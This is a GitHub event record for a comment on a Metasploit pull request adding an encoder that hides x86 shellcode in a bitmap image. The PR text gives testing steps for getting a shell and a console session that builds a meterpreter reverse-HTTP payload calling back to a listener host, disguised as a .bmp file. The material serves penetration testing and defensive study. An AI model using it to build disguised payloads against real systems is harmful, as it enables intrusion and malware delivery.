{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6441","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6441/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6441/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6441/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/6441","id":125108828,"number":6441,"title":"Add an x86/Bitmap polyglot encoder","user":{"login":"zeroSteiner","id":2058303,"avatar_url":"https://avatars.githubusercontent.com/u/2058303?v=3","gravatar_id":"","url":"https://api.github.com/users/zeroSteiner","html_url":"https://github.com/zeroSteiner","followers_url":"https://api.github.com/users/zeroSteiner/followers","following_url":"https://api.github.com/users/zeroSteiner/following{/other_user}","gists_url":"https://api.github.com/users/zeroSteiner/gists{/gist_id}","starred_url":"https://api.github.com/users/zeroSteiner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zeroSteiner/subscriptions","organizations_url":"https://api.github.com/users/zeroSteiner/orgs","repos_url":"https://api.github.com/users/zeroSteiner/repos","events_url":"https://api.github.com/users/zeroSteiner/events{/privacy}","received_events_url":"https://api.github.com/users/zeroSteiner/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":2,"created_at":"2016-01-06T04:44:14Z","updated_at":"2016-01-06T16:41:34Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6441","html_url":"https://github.com/rapid7/metasploit-framework/pull/6441","diff_url":"https://github.com/rapid7/metasploit-framework/pull/6441.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/6441.patch"},"body":"This PR adds a new x86 encoder module that unlike all current modules makes **no effort** to remove bad characters, in fact bad characters are likely to be introduced (hence the ManualRanking). Instead this module produces a polyglot of the shellcode combined with a user specified Bitmap file. The Bitmap file must meet the following conditions which from my testing seems to be the most common format combination:\r\n - Must start with the `BM` header\r\n - Use the 40-byte `BITMAPINFOHEADER`\r\n - Use either 24 or 32 bits per pixel as the color depth\r\n - Not use compression for the image data\r\n - Be large enough to store the payload data (~3.6MB+ for stages and stageless payloads)\r\n\r\nUnfortunately due to how encoders are often called, if the selected Bitmap file is incompatible the user will not receive a useful error. Any suggestions on how to better handle this would be appreciated. Additionally some [stagers have a 4MB limit](https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm#L130) for their stage, which means that a Bitmap file must be less than 4MB. From testing, 3.6-3.99MB seems to be the ideal size for use as a StageEncoder.\r\n\r\nThe shellcode is placed into the image data by replacing either 1, 2 or 4 LSBs depending on the payload and image size. A 53-byte polymorphic stub is then used to extract and execute the original shellcode from the image (see `make_destego_stub`).\r\n\r\nTesting steps:\r\n - [ ] Use the module to encoder an x86 payload and ensure the output looks and acts just like a bitmap file\r\n - [ ] Execute the payload from the above step via an arbitrary method to get a shell\r\n - [ ] Configure a handler to use this module as a StageEncoder (remember the 3.6MB-3.99MB ideal size)\r\n - [ ] Get a session after completing the above step\r\n\r\nBrief demonstration of generating an image payload:\r\n```\r\nmsf (S:0 J:0)> use payload/windows/meterpreter_reverse_http\r\nmsf (S:0 J:0) payload(meterpreter_reverse_http) > set LHOST 192.168.90.1\r\nLHOST => 192.168.90.1\r\nmsf (S:0 J:0) payload(meterpreter_reverse_http) > set LPORT 4444\r\nLPORT => 4444\r\nmsf (S:0 J:0) payload(meterpreter_reverse_http) > set Encoder x86/bmp_polyglot\r\nEncoder => x86/bmp_polyglot\r\nmsf (S:0 J:0) payload(meterpreter_reverse_http) > set BitmapFile /home/steiner/tmp/Star-Wars-Rebels.bmp\r\nBitmapFile => /home/steiner/tmp/Star-Wars-Rebels.bmp\r\nmsf (S:0 J:0) payload(meterpreter_reverse_http) > generate -t raw -f /home/steiner/payload.msf.bmp\r\n[*] Writing 3795445 bytes to /home/steiner/payload.msf.bmp...\r\nmsf (S:0 J:0) payload(meterpreter_reverse_http) > file /home/steiner/payload.msf.bmp\r\n[*] exec: file /home/steiner/payload.msf.bmp\r\n\r\n/home/steiner/payload.msf.bmp: PC bitmap, Windows 3.x format, 1545 x 816 x 24\r\nmsf (S:0 J:0) payload(meterpreter_reverse_http) > \r\n```"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/169383122","html_url":"https://github.com/rapid7/metasploit-framework/pull/6441#issuecomment-169383122","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6441","id":169383122,"user":{"login":"jlee-r7","id":1173675,"avatar_url":"https://avatars.githubusercontent.com/u/1173675?v=3","gravatar_id":"","url":"https://api.github.com/users/jlee-r7","html_url":"https://github.com/jlee-r7","followers_url":"https://api.github.com/users/jlee-r7/followers","following_url":"https://api.github.com/users/jlee-r7/following{/other_user}","gists_url":"https://api.github.com/users/jlee-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jlee-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jlee-r7/subscriptions","organizations_url":"https://api.github.com/users/jlee-r7/orgs","repos_url":"https://api.github.com/users/jlee-r7/repos","events_url":"https://api.github.com/users/jlee-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jlee-r7/received_events","type":"User","site_admin":false},"created_at":"2016-01-06T16:41:34Z","updated_at":"2016-01-06T16:41:34Z","body":":heart:"}}